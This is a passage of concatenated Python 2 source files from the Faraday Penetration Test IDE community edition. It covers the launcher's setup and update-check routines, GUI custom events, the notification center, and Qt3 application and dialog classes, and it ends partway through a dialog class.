410 arch = platform.machine()
411 helpers = FARADAY_BASE_LIB_HELPERS
412 if sys.platform == "linux" or sys.platform == "linux2":
413 if arch == "amd64" or arch == "x86_64":
414 logger.info("x86_64 linux detected.")
415 helpers += ".amd64"
416 elif arch == "i686" or arch == "i386":
417 logger.info("i386/686 linux detected.")
418 helpers += ".i386"
419 else:
420 logger.fatal("Linux architecture could not be determined.")
421 exit()
422 elif sys.platform == "darwin":
423 logger.info("OS X detected.")
424 helpers += "darwin"
425 else:
426 logger.fatal("Plaftorm not supported yet.")
427 exit()
428
429 if os.path.isfile(FARADAY_BASE_LIB_HELPERS):
430 os.remove(FARADAY_BASE_LIB_HELPERS)
431
432 subprocess.call(['ln', '-s', helpers, FARADAY_BASE_LIB_HELPERS])
433
434 def setupImages():
435 """ Copy png icons
436 """
437 if os.path.exists(FARADAY_USER_IMAGES):
438 shutil.rmtree(FARADAY_USER_IMAGES)
439 shutil.copytree(FARADAY_BASE_IMAGES, FARADAY_USER_IMAGES)
440
441 def checkConfiguration():
442 """Checks if the environment is ready to run Faraday.
443
444 Checks different environment requirements and sets them before starting
445 Faraday. This includes checking for plugin folders, libraries, QT
446 configuration and ZSH integration.
447 """
448
449 logger.info("Checking configuration.")
450 logger.info("Setting up plugins.")
451 setupPlugins(args.dev_mode)
452 logger.info("Setting up folders.")
453 setupFolders(CONST_FARADAY_FOLDER_LIST)
454 logger.info("Setting up Qt configuration.")
455 setupQtrc()
456 logger.info("Setting up ZSH integration.")
457 setupZSH()
458 logger.info("Setting up user configuration.")
459 setupXMLConfig()
460 logger.info("Setting up libraries.")
461 setupLibs()
462 logger.info("Setting up icons for QT interface.")
463 setupImages()
464
465 def setupFolders(folderlist):
466 """Checks if a list of folders exists and creates them otherwise.
467
468 """
469
470 for folder in folderlist:
471 fp_folder = os.path.join(FARADAY_USER_HOME, folder)
472 checkFolder(fp_folder)
473
474 def checkFolder(folder):
475 """Checks whether a folder exists and creates it if it doesn't.
476
477 """
478
479 if not os.path.isdir(folder):
480 logger.info("Creating %s" % folder)
481 os.mkdir(folder)
482
483 def printBanner():
484 """Prints Faraday's ascii banner.
485
486 """
487 from colorama import Fore, Back, Style
488 print (Fore.RED + """
489 _____ .___
490 _/ ____\_____ ____________ __| _/_____ ___.__.
491 \ __\ \__ \ \_ __ \__ \ / __ | \__ \ < | |
492 | | / __ \_| | \// __ \_/ /_/ | / __ \_\___ |
493 |__| (____ /|__| (____ /\____ | (____ // ____|
494 \/ \/ \/ \/ \/
495 """)
496
497 print(Fore.WHITE + Back.RED + Style.BRIGHT + \
498 "[*[ Open Source Penetration Test IDE ]*]")
499 print(Back.RESET + " Where pwnage goes multiplayer")
500 print(Fore.RESET + Back.RESET + Style.RESET_ALL)
501 logger.info("Starting Faraday IDE.")
502
503 def update():
504 """Updates Faraday IDE.
505
506 Deletes every .pyc file and does a git pull to the official repository.
507
508 """
509 if args.update:
510 from updates.updater import Updater
511 Updater().doUpdates()
512 logger.info("Update process finished with no errors")
513 logger.info("Faraday will start now.")
514
515 def checkUpdates():
516 import requests
517 uri = getInstanceConfiguration().getUpdatesUri()
518 resp = u"OK"
519 try:
520 resp = requests.get(uri, timeout=1, verify=True)
521 resp = resp.text.strip()
522 except Exception as e:
523 logger.error(e)
524 if not resp == u'OK':
525 logger.info("You have available updates. Run ./faraday.py --update to catchup!")
526 else:
527 logger.info("No updates available, enjoy Faraday")
528
529
530 def init():
531 """Initializes what is needed before starting.
532
533 For now we initialize logger and arguments setup.
534
535 """
536
537 global args
538 global logger
539
540 args = getParserArgs()
541 logger = getLogger("launcher")
542
543 def main():
544 """Main.
545
546 Main function for launcher.
547
548 """
549
550 init()
551 update()
552 if checkDependencies():
553 printBanner()
554 logger.info("Dependencies met.")
555 checkConfiguration()
556 setConf()
557 checkUpdates()
558 startFaraday()
559 else:
560 logger.error("Dependencies not met. Unable to start Faraday.")
561
562
563 if __name__ == '__main__':
564 main()
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 This module contains the definition of all the CustomEvent's used
8 in the application.
9 These events are needed to communicate secondary threads with the GUI.
10
11 """
12
13 import time
14
15 LOGEVENT_ID = 3131
16 SHOWDIALOG_ID = 3132
17 SHOWPOPUP_ID = 3133
18 EXCEPTION_ID = 3134
19 RENAMEHOSTSROOT_ID = 3135
20 CLEARHOSTS_ID = 3136
21 DIFFHOSTS_ID = 3137
22 SYNCFAILED_ID = 3138
23 CONFLICTS_ID = 3139
24 WORKSPACE_CHANGED = 3140
25 CONFLICT_UPDATE = 3141
26 RESOLVECONFLICTS_ID = 3142
27 ADDHOST = 4100
28 DELHOST = 4101
29 EDITHOST = 4102
30 CHANGEFROMINSTANCE = 5100
31 UPDATEMODEL_ID = 54321
32
33
34 class CustomEvent(object):
35 def __init__(self, type):
36 self._type = type
37 self._time = time.time()
38
39 def type(self):
40 return self._type
41
42 def time(self):
43 return self._time
44
45
46 class LogCustomEvent(CustomEvent):
47 def __init__(self, text):
48 CustomEvent.__init__(self, LOGEVENT_ID)
49 self.text = text
50
51
52 class ShowDialogCustomEvent(CustomEvent):
53 def __init__(self, text, level):
54 CustomEvent.__init__(self, SHOWDIALOG_ID)
55 self.text = text
56 self.level = level
57
58
59 class ShowPopupCustomEvent(CustomEvent):
60 def __init__(self, text):
61 CustomEvent.__init__(self, SHOWPOPUP_ID)
62 self.text = text
63 self.level = "INFORMATION"
64
65
66 class ShowExceptionCustomEvent(CustomEvent):
67 def __init__(self, text, callback):
68 CustomEvent.__init__(self, EXCEPTION_ID)
69 self.text = text
70 self.exception_objects = [None, text]
71 self.callback = callback
72
73
74 class RenameHostsRootCustomEvent(CustomEvent):
75 def __init__(self, name):
76 CustomEvent.__init__(self, RENAMEHOSTSROOT_ID)
77 self.name = name
78
79
80 class WorkspaceChangedCustomEvent(CustomEvent):
81 def __init__(self, workspace,workspace_type):
82 CustomEvent.__init__(self, WORKSPACE_CHANGED)
83 self.workspace = workspace
84 self.workspace_type = workspace_type
85
86
87 class ConflictUpdatedCustomEvent(CustomEvent):
88 def __init__(self, nconflicts):
89 CustomEvent.__init__(self, CONFLICT_UPDATE)
90 self.nconflicts = nconflicts
91
92
93 class DiffHostsCustomEvent(CustomEvent):
94 def __init__(self, old_host, new_host):
95 CustomEvent.__init__(self, DIFFHOSTS_ID)
96 self.new_host = new_host
97 self.old_host = old_host
98
99
100 class ResolveConflictsCustomEvent(CustomEvent):
101 def __init__(self, conflicts):
102 CustomEvent.__init__(self, RESOLVECONFLICTS_ID)
103 self.conflicts = conflicts
104
105
106 class ClearHostsCustomEvent(CustomEvent):
107 def __init__(self):
108 CustomEvent.__init__(self, CLEARHOSTS_ID)
109
110
111 class ModelObjectUpdateEvent(CustomEvent):
112 def __init__(self, hosts):
113 CustomEvent.__init__(self, UPDATEMODEL_ID)
114 self.hosts = hosts
115
116
117 class AddHostCustomEvent(CustomEvent):
118 def __init__(self, host):
119 CustomEvent.__init__(self, ADDHOST)
120 self.host = host
121
122
123 class EditHostCustomEvent(CustomEvent):
124 def __init__(self, host):
125 CustomEvent.__init__(self, EDITHOST)
126 self.host = host
127
128
129 class DeleteHostCustomEvent(CustomEvent):
130 def __init__(self, host_id):
131 CustomEvent.__init__(self, DELHOST)
132 self.host_id = host_id
133
134
135 class ChangeFromInstanceCustomEvent(CustomEvent):
136 def __init__(self, change):
137 CustomEvent.__init__(self, CHANGEFROMINSTANCE)
138 self.change = change
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8
9 class UiFactory(object):
10 @staticmethod
11 def create(model_controller, plugin_manager, workspace_manager, gui="gtk"):
12 if gui == "gtk":
13 from gui.gtk.application import GuiApp
14 elif gui == "qt3":
15 from gui.qt3.application import GuiApp
16 else:
17 from gui.nogui.application import GuiApp
18
19 return GuiApp(model_controller, plugin_manager, workspace_manager)
20
21
22 class FaradayUi(object):
23 def __init__(self, model_controller=None, plugin_manager=None,
24 workspace_manager=None, gui="qt3"):
25 #self.main_app = main_app
26 self.model_controller = model_controller
27 self.plugin_manager = plugin_manager
28 self.workspace_manager = workspace_manager
29
30 def getModelController(self):
31 return self.model_controller
32
33 def getPluginManager(self):
34 return self.plugin_manager
35
36 def getWorkspaceManager(self):
37 return self.workspace_manager
38
39 def setSplashImage(self, ipath):
40 pass
41
42 def startSplashScreen(self):
43 pass
44
45 def stopSplashScreen(self):
46 pass
47
48 def splashMessage(self, message):
49 pass
50
51 def loadWorkspaces(self):
52 pass
53
54 def run(self, args):
55 pass
56
57 def quit(self):
58 pass
59
60 def postEvent(self, receiver, event):
61 pass
62
63 def createLoggerWidget(self):
64 pass
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import time
9
10 from gui.gui_app import FaradayUi
11 from gui.nogui.eventwatcher import EventWatcher
12 import model.guiapi
13
14
15 class GuiApp(FaradayUi):
16 def __init__(self, model_controller, plugin_manager, workspace_manager):
17 FaradayUi.__init__(self,
18 model_controller,
19 plugin_manager,
20 workspace_manager)
21 self._stop = False
22 model.guiapi.setMainApp(self)
23 self.event_watcher = EventWatcher()
24 model.guiapi.notification_center.registerWidget(self.event_watcher)
25
26 def run(self, args):
27
28 while True:
29 if self._stop:
30 return
31 time.sleep(0.01)
32
33 def quit(self):
34 self._stop = True
35
36 def postEvent(self, receiver, event):
37 receiver.update(event)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
7 from utils.logs import getLogger
8 from gui.customevents import CHANGEFROMINSTANCE
9
10
11 class EventWatcher(object):
12 def __init__(self):
13 self.logger = getLogger(self)
14
15 def update(self, event):
16 if event.type() == CHANGEFROMINSTANCE:
17 getLogger(self).info(
18 "[Update Received] " + event.change.getMessage())
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7 import threading
8 from gui.gui_app import FaradayUi
9 import gui.customevents as events
10
11
12 class NotificationCenter():
13 def __init__(self, uiapp=FaradayUi()):
14 self.uiapp = uiapp
15 self._consumers = []
16 self._consumers_lock = threading.RLock()
17 self.last_events = {}
18
19 def setUiApp(self, uiapp):
20 self.uiapp = uiapp
21
22 def registerWidget(self, consumer):
23 self._consumers_lock.acquire()
24 if consumer not in self._consumers:
25 self._consumers.append(consumer)
26 self._consumers_lock.release()
27
28 def deregisterWidget(self, consumer):
29 self._consumers_lock.acquire()
30 if consumer in self._consumers:
31 self._consumers.remove(consumer)
32 self._consumers_lock.release()
33
34 def postCustomEvent(self, event, receiver=None):
35 if self.last_events.get(event.type(), None):
36 if self.last_events[event.type()] > event.time():
37 return
38 self.last_events[event.type()] = event.time()
39 self.uiapp.postEvent(receiver, event)
40
41 def _notifyWidgets(self, event):
42 self._consumers_lock.acquire()
43 for w in self._consumers:
44 self.postCustomEvent(event, w)
45 self._consumers_lock.release()
46
47 def showPopup(self, msg):
48 self._notifyWidgets(events.ShowPopupCustomEvent(msg))
49
50 def showDialog(self, msg, level="INFORMATION"):
51 self._notifyWidgets(events.ShowDialogCustomEvent(msg, level))
52
53 def workspaceLoad(self, hosts):
54 self._notifyWidgets(events.ModelObjectUpdateEvent(hosts))
55
56 def workspaceChanged(self, workspace, workspace_type):
57 self._notifyWidgets(events.WorkspaceChangedCustomEvent(workspace,workspace_type))
58
59 def addHost(self, host):
60 self._notifyWidgets(events.AddHostCustomEvent(host))
61
62 def delHost(self, host_id):
63 self._notifyWidgets(events.DeleteHostCustomEvent(host_id))
64
65 def editHost(self, host):
66 self._notifyWidgets(events.EditHostCustomEvent(host))
67
68 def conflictUpdate(self, vulns_changed):
69 self._notifyWidgets(events.ConflictUpdatedCustomEvent(vulns_changed))
70
71 def conflictResolution(self, conflicts):
72 self._notifyWidgets(events.ResolveConflictsCustomEvent(conflicts))
73
74 def changeFromInstance(self, change):
75 self._notifyWidgets(events.ChangeFromInstanceCustomEvent(change))
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import os
9 import traceback
10
11 try:
12 import qt
13 except ImportError:
14 print "[-] Python QT3 was not found in the system, please install it and try again"
15 print "Check the deps file"
16
17 from gui.gui_app import FaradayUi
18 from gui.qt3.mainwindow import MainWindow
19 from gui.qt3.customevents import QtCustomEvent
20 from shell.controller.env import ShellEnvironment
21
22 import model.guiapi
23 import model.api
24 import model.log
25
26 from config.configuration import getInstanceConfiguration
27 CONF = getInstanceConfiguration()
28
29
30 class GuiApp(qt.QApplication, FaradayUi):
31 def __init__(self, model_controller, plugin_manager, workspace_manager):
32 FaradayUi.__init__(self,
33 model_controller,
34 plugin_manager,
35 workspace_manager)
36 qt.QApplication.__init__(self, [])
37
38 self._shell_envs = dict()
39
40 model.guiapi.setMainApp(self)
41
42 self._main_window = MainWindow(CONF.getAppname(),
43 self,
44 self.getModelController(),
45 self.getPluginManager())
46 self.setMainWidget(self.getMainWindow())
47
48 notifier = model.log.getNotifier()
49 notifier.widget = self._main_window
50 model.guiapi.notification_center.registerWidget(self._main_window)
51
52 self._splash_screen = qt.QSplashScreen(
53 qt.QPixmap(os.path.join(CONF.getImagePath(), "splash2.png")),
54 qt.Qt.WStyle_StaysOnTop)
55
56 def getMainWindow(self):
57 return self._main_window
58
59 def run(self, args):
60 self._main_window.createShellTab()
61 self.createLoggerWidget()
62 self._main_window.showAll()
63 couchURL = CONF.getCouchURI()
64 if couchURL:
65 url = "%s/reports/_design/reports/index.html" % couchURL
66 model.api.log("Faraday ui is ready")
67 model.api.log("Make sure you have couchdb up and running if you want visualizations.")
68 model.api.log("If couchdb is up, point your browser to: [%s]" % url)
69 else:
70 model.api.log("Please configure Couchdb for fancy HTML5 Dashboard")
71 exit_code = self.exec_loop()
72 return exit_code
73
74 def createLoggerWidget(self):
75 if not model.log.getLogger().isGUIOutputRegistered():
76 model.log.getLogger().registerGUIOutput(self._main_window.getLogConsole())
77
78 def loadWorkspaces(self):
79 self.getMainWindow().getWorkspaceTreeView().loadAllWorkspaces()
80
81 def setSplashImage(self, ipath):
82 pass
83
84 def startSplashScreen(self):
85 splash_timer = qt.QTimer.singleShot(1700, lambda *args: None)
86 self._splash_screen.show()
87
88 def splashMessage(self, message):
89 self._splash_screen.message(
90 message,
91 qt.Qt.AlignLeft | qt.Qt.AlignBottom,
92 qt.QColor(180, 0, 0))
93
94 def stopSplashScreen(self):
95 self._splash_screen.finish(self._main_window)
96
97 def quit(self):
98 model.log.getLogger().clearWidgets()
99 self.getMainWindow().hide()
100 envs = [env for env in self._shell_envs.itervalues()]
101 for env in envs:
102 env.terminate()
103 # exit status
104 notifier = model.log.getNotifier()
105 notifier.widget = None
106 qt.QApplication.quit(self)
107
108 def postEvent(self, receiver, event):
109 if receiver is None:
110 receiver = self.getMainWindow()
111 qt.QApplication.postEvent(receiver, QtCustomEvent.create(event))
112
113 def createShellEnvironment(self, name=None):
114
115 model.api.devlog("createShellEnvironment called \
116 - About to create new shell env with name %s" % name)
117
118 shell_env = ShellEnvironment(name, self,
119 self.getMainWindow().getTabManager(),
120 self.model_controller,
121 self.plugin_manager.createController,
122 self.deleteShellEnvironment)
123
124 self._shell_envs[name] = shell_env
125 self.getMainWindow().addShell(shell_env.widget)
126 shell_env.run()
127
128 def deleteShellEnvironment(self, name, ref=None):
129 def _closeShellEnv(name):
130 try:
131 env = self._shell_envs[name]
132 env.terminate()
133 tabmanager.removeView(env.widget)
134 del self._shell_envs[name]
135 except Exception:
136 model.api.devlog("ShellEnvironment could not be deleted")
137 model.api.devlog("%s" % traceback.format_exc())
138
139 model.api.devlog("deleteShellEnvironment called \
140 - name = %s - ref = %r" % (name, ref))
141 tabmanager = self.getMainWindow().getTabManager()
142 if len(self._shell_envs) > 1:
143 _closeShellEnv(name)
144 else:
145 if ref is not None:
146 result = self.getMainWindow().exitFaraday()
147 if result == qt.QDialog.Accepted:
148 self.quit()
149 else:
150 _closeShellEnv(name)
151 self.getMainWindow().createShellTab()
152
153 def removeWorkspace(self, name):
154 model.api.log("Removing Workspace: %s" % name)
155 return self.getWorkspaceManager().removeWorkspace(name)
156
157 def createWorkspace(self, name, description="", w_type=""):
158
159 if name in self.getWorkspaceManager().getWorkspacesNames():
160
161 model.api.log("A workspace with name %s already exists"
162 % name, "ERROR")
163 else:
164 model.api.log("Creating workspace '%s'" % name)
165 model.api.devlog("Looking for the delegation class")
166 manager = self.getWorkspaceManager()
167
168 w = manager.createWorkspace(name, description,
169 manager.namedTypeToDbType(w_type))
170
171 self.getMainWindow().refreshWorkspaceTreeView()
172
173 self.getMainWindow().getWorkspaceTreeView().loadAllWorkspaces()
174
175 def openWorkspace(self, name):
176 try:
177 self.getWorkspaceManager().openWorkspace(name)
178 except Exception:
179 model.api.log("An exception was captured while opening \
180 workspace %s\n%s" % (name, traceback.format_exc()), "ERROR")
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 """
9 Custom GUI Styles for the application
10 """
11
12
13
14
15
16
17 import qt
18
19 from config.configuration import getInstanceConfiguration
20 CONF = getInstanceConfiguration()
21
22 class CustomWindowsStyle(qt.QWindowsStyle):
23 def __init__(self):
24 qt.QWindowsStyle.__init__(self)
25
26
27
28
29
30 class CustomCommonStyle(qt.QCommonStyle):
31 def __init__(self):
32 qt.QCommonStyle.__init__(self)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import qt
7 import os
8 from gui.qt3.dialogs import BaseDialog
9
10 from config.configuration import getInstanceConfiguration
11 CONF = getInstanceConfiguration()
12
13
14 class ConfigurationPage(qt.QVBox):
15 def __init__(self, parent=None):
16 super(ConfigurationPage, self).__init__(parent)
17 configGroup = qt.QHGroupBox("Server configuration", self)
18 serverLabel = qt.QLabel("Server:", configGroup)
19 serverCombo = qt.QComboBox(configGroup)
20 serverCombo.insertItem("Trolltech (Australia)")
21 serverCombo.insertItem("Trolltech (Germany)")
22 serverCombo.insertItem("Trolltech (Norway)")
23 serverCombo.insertItem("Trolltech (People's Republic of China)")
24 serverCombo.insertItem("Trolltech (USA)")
25
26
27 class UpdatePage(qt.QVBox):
28 def __init__(self, parent=None):
29 super(UpdatePage, self).__init__(parent)
30
31 updateGroup = qt.QVGroupBox("Package selection", self)
32 systemCheckBox = qt.QCheckBox("Update system", updateGroup)
33 appsCheckBox = qt.QCheckBox("Update applications", updateGroup)
34 docsCheckBox = qt.QCheckBox("Update documentation", updateGroup)
35
36 packageGroup = qt.QHGroupBox("Existing packages", self)
37 packageList = qt.QListView(packageGroup)
38 packageList.addColumn("")
39 packageList.setColumnWidthMode(0, qt.QListView.Maximum)
40 packageList.setColumnWidth(0, packageList.width())
41
42 qtItem = qt.QListViewItem(packageList)
43 qtItem.setText(0, "Qt")
44 qsaItem = qt.QListViewItem(packageList)
45 qsaItem.setText(0, "QSA")
46 teamBuilderItem = qt.QListViewItem(packageList)
47 teamBuilderItem.setText(0, "Teambuilder")
48 self.setSpacing(12)
49 startUpdateButton = qt.QPushButton("Start update", self)
50
51
52
53 class ConfigDialog(BaseDialog):
54 def __init__(self, parent=None, configuration=None):
55 BaseDialog.__init__(self, parent, "Config Dialog",
56 layout_margin=10, layout_spacing=15, modal=True)
57
58 self.configuration = configuration
59
60 hbox = qt.QHBox(self)
61
62 self.contentsWidget = qt.QIconView(hbox)
63
64
65
66
67 self.contentsWidget.setMaximumWidth(128)
68
69
70 self.pagesWidget = qt.QWidgetStack(hbox)
71 self.pagesWidget.addWidget(ConfigurationPage(), 0)
72 self.pagesWidget.addWidget(UpdatePage(), 1)
73 self.pagesWidget.setSizePolicy(qt.QSizePolicy(qt.QSizePolicy.Expanding, qt.QSizePolicy.Expanding))
74
75
76 self.createIcons()
77 hbox.setStretchFactor(self.contentsWidget, 0)
78 hbox.setStretchFactor(self.pagesWidget, 10)
79 self.layout.addWidget(hbox)
80
81
82 self.setupButtons({
83 "ok": None,
84 "cancel" : self.close,
85 })
86
87
88 def changePage(self, item):
89 if item:
90 current = self.contentsWidget.currentItem()
91 self.pagesWidget.raiseWidget(self.contentsWidget.index(current))
92
93 def createIcons(self):
94 configButton = qt.QIconViewItem(self.contentsWidget)
95 configButton.setPixmap(qt.QPixmap(os.path.join(CONF.getIconsPath(), 'config.png')))
96 configButton.setText("Configuration")
97
98
99
100
101 updateButton = qt.QIconViewItem(self.contentsWidget)
102 updateButton.setPixmap(qt.QPixmap(os.path.join(CONF.getIconsPath(), 'update.png')))
103 updateButton.setText("Update")
104
105
106
107 self.connect(self.contentsWidget, qt.SIGNAL('clicked(QIconViewItem*)'), self.changePage)
108
109 def sizeHint(self):
110 return qt.QSize(600, 350)
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 """
7 This module contains the definition of all the qt.QCustomEvent's used
8 in the application.
9 These events are needed to communicate secondary threads with the GUI.
10
11 """
12 import qt
13 from gui.customevents import (LOGEVENT_ID, SHOWDIALOG_ID, SHOWPOPUP_ID,
14 EXCEPTION_ID, RENAMEHOSTSROOT_ID,
15 CLEARHOSTS_ID, DIFFHOSTS_ID, SYNCFAILED_ID,
16 CONFLICTS_ID, WORKSPACE_CHANGED, CONFLICT_UPDATE,
17 RESOLVECONFLICTS_ID, UPDATEMODEL_ID, ADDHOST,
18 EDITHOST, DELHOST, CHANGEFROMINSTANCE)
19
20
21 class LogCustomEvent(qt.QCustomEvent):
22 def __init__(self, e):
23 qt.QCustomEvent.__init__(self, e.type())
24 self.text = e.text
25
26
27 class ShowDialogCustomEvent(qt.QCustomEvent):
28 def __init__(self, e):
29 qt.QCustomEvent.__init__(self, e.type())
30 self.text = e.text
31 self.level = e.level
32
33
34 class ShowPopupCustomEvent(qt.QCustomEvent):
35 def __init__(self, e):
36 qt.QCustomEvent.__init__(self, e.type())
37 self.text = e.text
38 self.level = e.level
39
40
41 class ShowExceptionCustomEvent(qt.QCustomEvent):
42 def __init__(self, e):
43 qt.QCustomEvent.__init__(self, e.type())
44 self.text = e.text
45 self.exception_objects = e.exception_objects
46 self.callback = e.callback
47
48
49 class RenameHostsRootCustomEvent(qt.QCustomEvent):
50 def __init__(self, e):
51 qt.QCustomEvent.__init__(self, e.type())
52 self.name = e.name
53
54
55 class WorkspaceChangedCustomEvent(qt.QCustomEvent):
56 def __init__(self, e):
57 qt.QCustomEvent.__init__(self, e.type())
58 self.workspace = e.workspace
59 self.workspace_type = e.workspace_type
60
61
62 class ConflictUpdatedCustomEvent(qt.QCustomEvent):
63 def __init__(self, e):
64 qt.QCustomEvent.__init__(self, e.type())
65 self.nconflicts = e.nconflicts
66
67
68 class DiffHostsCustomEvent(qt.QCustomEvent):
69 def __init__(self, e):
70 qt.QCustomEvent.__init__(self, e.type())
71 self.new_host = e.new_host
72 self.old_host = e.old_host
73
74
75 class ResolveConflictsCustomEvent(qt.QCustomEvent):
76 def __init__(self, e):
77 qt.QCustomEvent.__init__(self, e.type())
78 self.conflicts = e.conflicts
79
80
81 class ClearHostsCustomEvent(qt.QCustomEvent):
82 def __init__(self, e):
83 qt.QCustomEvent.__init__(self, e.type())
84
85
86 class ModelObjectUpdateEvent(qt.QCustomEvent):
87 def __init__(self, e):
88 qt.QCustomEvent.__init__(self, e.type())
89 self.hosts = e.hosts
90
91
92 class AddHostCustomEvent(qt.QCustomEvent):
93 def __init__(self, e):
94 qt.QCustomEvent.__init__(self, e.type())
95 self.host = e.host
96
97
98 class EditHostCustomEvent(qt.QCustomEvent):
99 def __init__(self, e):
100 qt.QCustomEvent.__init__(self, e.type())
101 self.host = e.host
102
103
104 class DeleteHostCustomEvent(qt.QCustomEvent):
105 def __init__(self, e):
106 qt.QCustomEvent.__init__(self, e.type())
107 self.host_id = e.host_id
108
109
110 class ChangeFromInstanceCustomEvent(qt.QCustomEvent):
111 def __init__(self, e):
112 qt.QCustomEvent.__init__(self, e.type())
113 self.change = e.change
114
115
116 class QtCustomEvent(qt.QCustomEvent):
117 events = {
118 LOGEVENT_ID: LogCustomEvent,
119 SHOWDIALOG_ID: ShowDialogCustomEvent,
120 SHOWPOPUP_ID: ShowPopupCustomEvent,
121 EXCEPTION_ID: ShowExceptionCustomEvent,
122 RENAMEHOSTSROOT_ID: RenameHostsRootCustomEvent,
123 CLEARHOSTS_ID: ClearHostsCustomEvent,
124 DIFFHOSTS_ID: DiffHostsCustomEvent,
125 SYNCFAILED_ID: None,
126 CONFLICTS_ID: None,
127 WORKSPACE_CHANGED: WorkspaceChangedCustomEvent,
128 CONFLICT_UPDATE: ConflictUpdatedCustomEvent,
129 RESOLVECONFLICTS_ID: ResolveConflictsCustomEvent,
130 UPDATEMODEL_ID: ModelObjectUpdateEvent,
131 ADDHOST: AddHostCustomEvent,
132 DELHOST: DeleteHostCustomEvent,
133 EDITHOST: EditHostCustomEvent,
134 CHANGEFROMINSTANCE: ChangeFromInstanceCustomEvent
135 }
136
137 @staticmethod
138 def create(custom_event):
139 return QtCustomEvent.events[custom_event.type()](custom_event)
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import os
9 import qt
10 import model.api as api
11 import model.guiapi as guiapi
12 import re
13 import model.hosts as hosts
14 from managers.model_managers import WorkspaceManager
15 from ui.plugin_settings import *
16 from ui.vulnerabilities import *
17 from ui.preferences import *
18 from ui.noteslist import NotesListUI
19 from ui.evidenceslist import *
20 from edition import EditionTable, HostEditor, ServiceEditor, InterfaceEditor, NoteEditor, NewNoteDialog, VulnEditor, NewVulnDialog, VulnWebEditor, NewCredDialog, CredEditor
21 from modelobjectitems import NoteRootItem, VulnRootItem, CredRootItem
22
23 from config.configuration import getInstanceConfiguration
24 CONF = getInstanceConfiguration()
25
26
27
28 class LogConsole(qt.QVBox):
29 """
30 widget component used to display a log or any other content in
31 a small console window
32 """
33 tag_regex = re.compile(r"^(\[(.*)\]\s+-).*$", re.DOTALL)
34 tag_replace_regex = re.compile(r"^(\[(.*)\]\s+-)")
35 tag_colors = {
36 "NOTIFICATION" : "#1400F2",
37 "INFO" : "#000000",
38 "WARNING" : "#F5760F",
39 "ERROR" : "#FC0000",
40 "CRITICAL": "#FC0000",
41 "DEBUG" : "#0AC400",
42 }
43
44 def __init__(self, parent, caption=""):
45 qt.QVBox.__init__(self, parent)
46 self.setName(caption)
47 self._text_edit = qt.QTextEdit(self, caption)
48
49 self._text_edit.setTextFormat(qt.Qt.LogText)
50
51 def customEvent(self, event):
52 self.update(event)
53
54 def update(self, event):
55 if event.type() == 3131:
56 self.appendText(event.text)
57
58 def appendText(self, text):
59 """
60 appends new text to the console
61 """
62 m = self.tag_regex.match(text)
63 if m is not None:
64 tag = m.group(2).upper()
65 colored_tag = "<font color=\"%s\"><b>[%s]</b></font> -" % (self.tag_colors.get(tag, "#000000"), tag)
66 text = self.tag_replace_regex.sub(colored_tag, text)
67 else:
68 text = "<font color=\"#000000\"><b>[INFO]</b></font> - %s" % text
69
70 self._text_edit.append(text)
71
72 def clear(self):
73 """
74 Clear the console
75 """
76 self._text_edit.clear()
77
78 def sizeHint(self):
79 """Returns recommended size of dialog."""
80 return qt.QSize(90, 30)
81
82
83
84 class BaseDialog(qt.QDialog):
85
86 def __init__(self, parent, name, layout_margin=0, layout_spacing=-1, modal=True):
87 qt.QDialog.__init__(self, parent, name, modal)
88 if layout_spacing == -1:
89 layout_spacing = self.fontMetrics().height()
90
91 self.layout = qt.QVBoxLayout(self, layout_margin, layout_spacing, "layout")
92 self.button_box = None
93 self.ok_button = None
94 self.cancel_button = None
95 self.quit_button = None
96
97 def setupButtons(self, buttons=None):
98 """
99 Creates and setup buttons clicked singal connection using callbacks provided
100 The buttons parameter must be a dict with keys (in lowercase)
101 "ok", "cancel" or "quit" and a callback reference as value.
102 If None is provided as callback value then default behaviour will
103 be applied to the button (accept for Ok, reject for cancel and quit)
104 Button order will be always Ok, Cancel and Quit
105 This will add only the buttons provided in the buttons parameter, so not all
106 keys must be used. You can add only the ones needed.
107 If no parameter is provided, OK and Cancel buttons will be added with
108 their default behaviour.
109 IMPORTANT: if callbacks do not call accept or reject methods, then
